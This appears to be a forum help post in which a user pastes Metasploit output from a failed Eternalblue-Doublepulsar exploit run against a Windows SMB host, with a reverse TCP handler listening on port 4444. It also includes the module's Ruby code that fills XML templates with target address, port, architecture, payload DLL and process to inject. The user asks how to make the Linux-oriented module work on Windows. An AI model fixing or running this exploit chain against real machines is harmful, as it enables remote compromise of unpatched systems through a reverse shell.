[*] Started reverse TCP handler on 192.168.1.222:4444
[*] 192.168.1.140:445 - Generating Eternalblue XML data
C:/metasploit/apps/pro/engine/msfpro: No such file or directory - cp /root/Deskt
op/ eternalblue_doublepulsar-metasploit/deps/Eternalblue-2.2.0.Skeleton.xml /roo
t/Desktop/ eternalblue_doublepulsar-metasploit/deps/Eternalblue-2.2.0.xml
'sed' is not recognized as an internal or external command,
operable program or batch file.
'sed' is not recognized as an internal or external command,
operable program or batch file.
'sed' is not recognized as an internal or external command,
operable program or batch file.
'sed' is not recognized as an internal or external command,
operable program or batch file.
[*] 192.168.1.140:445 - Generating Doublepulsar XML data
C:/metasploit/apps/pro/engine/msfpro: No such file or directory - cp /root/Etern
alblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.Skeleton.xml /root/Etern
alblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml
'sed' is not recognized as an internal or external command,
operable program or batch file.
'sed' is not recognized as an internal or external command,
operable program or batch file.
'sed' is not recognized as an internal or external command,
operable program or batch file.
'sed' is not recognized as an internal or external command,
operable program or batch file.
'sed' is not recognized as an internal or external command,
operable program or batch file.
'sed' is not recognized as an internal or external command,
operable program or batch file.
[*] 192.168.1.140:445 - Generating payload DLL for Doublepulsar
[-] 192.168.1.140:445 - Exploit failed: Errno::ENOENT No such file or directory
@ rb_sysopen - /root/.wine/drive_c/eternal11.dll
[*] Exploit completed, but no session was created.
I think because it is written for linux and it must been changed this part to run on windows
#Custom XML Eternalblue
print_status('Generating Eternalblue XML data')
cp = `cp #{datastore['ETERNALBLUEPATH']}/Eternalblue-2.2.0.Skeleton.xml #{datastore['ETERNALBLUEPATH']}/Eternalblue-2.2.0.xml`
sed = `sed -i 's/%RHOST%/#{datastore['RHOST']}/' #{datastore['ETERNALBLUEPATH']}/Eternalblue-2.2.0.xml`
sed = `sed -i 's/%RPORT%/#{datastore['RPORT']}/' #{datastore['ETERNALBLUEPATH']}/Eternalblue-2.2.0.xml`
sed = `sed -i 's/%TIMEOUT%/#{datastore['TIMEOUT']}/' #{datastore['ETERNALBLUEPATH']}/Eternalblue-2.2.0.xml`
#WIN72K8R2 (4-8) and XP (0-3)
if target.name =~ /7|2008|Vista/
objective = "WIN72K8R2"
else
objective = "XP"
end
sed = `sed -i 's/%TARGET%/#{objective}/' #{datastore['ETERNALBLUEPATH']}/Eternalblue-2.2.0.xml`
#Custom XML Doublepulsar
print_status('Generating Doublepulsar XML data')
cp = `cp #{datastore['DOUBLEPULSARPATH']}/Doublepulsar-1.3.1.Skeleton.xml #{datastore['DOUBLEPULSARPATH']}/Doublepulsar-1.3.1.xml`
sed = `sed -i 's/%RHOST%/#{datastore['RHOST']}/' #{datastore['DOUBLEPULSARPATH']}/Doublepulsar-1.3.1.xml`
sed = `sed -i 's/%RPORT%/#{datastore['RPORT']}/' #{datastore['DOUBLEPULSARPATH']}/Doublepulsar-1.3.1.xml`
sed = `sed -i 's/%TIMEOUT%/#{datastore['TIMEOUT']}/' #{datastore['DOUBLEPULSARPATH']}/Doublepulsar-1.3.1.xml`
sed = `sed -i 's/%TARGETARCHITECTURE%/#{datastore['TARGETARCHITECTURE']}/' #{datastore['DOUBLEPULSARPATH']}/Doublepulsar-1.3.1.xml`
dllpayload = datastore['WINEPATH'] + datastore['DLLName']
dllpayload2 = dllpayload.gsub('/','\/')
sed = `sed -i 's/%DLLPAY%/#{dllpayload2}/' #{datastore['DOUBLEPULSARPATH']}/Doublepulsar-1.3.1.xml`
sed = `sed -i 's/%PROCESSINJECT%/#{datastore['PROCESSINJECT']}/' #{datastore['DOUBLEPULSARPATH']}/Doublepulsar-1.3.1.xml`
thanks.